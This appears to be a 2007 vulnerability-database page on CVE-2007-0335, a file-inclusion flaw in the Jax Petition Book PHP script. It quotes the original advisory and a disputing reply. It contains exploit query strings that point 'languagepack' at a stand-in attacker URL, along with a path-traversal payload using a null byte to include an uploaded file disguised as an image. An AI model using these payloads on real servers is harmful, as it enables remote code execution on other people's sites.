Bug: Jax Petition Book (languagepack) Remote File Include Vulnerabilities ( Ascii Version )

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Jax Petition Book (languagepack) Remote File Include Vulnerabilities

Published
Credit
Risk
2007.01.22
ilker Kandemir
High
CWE
CVE
Local
Remote
N/A
CVE-2007-0335
No
Yes

CVSS Base Score
Impact Subscore
Exploitability Subscore
6.8/10
6.4/10
8.6/10
Exploit range
Attack complexity
Authentication
Remote
Medium
No required
Confidentiality impact
Integrity impact
Availability impact
Partial
Partial
Partial

Actually, this can be pretty serious depending on server settings, but
an improper example was given.

Better one:

jax_petitionbook.php?languagepack=../../some_other_allowed_file_uploads/
myfile.php.gif%00

Many servers will have magic quotes on to defeat the null byte, but by no means all.

John

bmatheny (at) mobocracy (dot) net [email concealed] wrote:

>This is not a vulnerability. Since $languagepack is prefixed by "language/",
>the PHP stream handler will simply try to open a local file. Also, you can
>only modify $languagepack if register_globals is on, which, it rarely is
>these days.
>
>Can we stop with the PHP 'vulnerabilities' that aren't?
>
>-Blake
>
>Whatchu talkin' 'bout, Willis?
>
>
>>----------------------------------------------------------------------
--------------------------------------------
>>
>>AYYILDIZ.ORG PreSents...
>>
>>
>>*Script: Jax Petition Book
>>*Download: jtr.de/scripting/php/guestbook/petitionbook%20v1.0.3.06.zip
>>
>>*Contact: ilker Kandemir <ilkerkandemir[at]mynet.com>
>>
>>----------------------------------------------------------------------
---------------------------------------------
>>
>>*Code:
>>
>>require ( "language/" .$languagepack . ".inc.php" );
>>
>>----------------------------------------------------------------------
---------------------------------------------
>>
>>*Exploit:
>>
>>jax_petitionbook.php?languagepack=http://attacker.txt?
>>smileys.php?languagepack=http://attacker.txt?
>>
>>----------------------------------------------------------------------
---------------------------------------------
>>
>>Tnx:H0tturk,Dr.Max Virus,Asianeagle,PcDelisi,CodeR,Dum?nci
>>Special Tnx: AYYILDIZ.ORG
>>
>>
>
>
>

See this note in TXT Version

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Ascii Version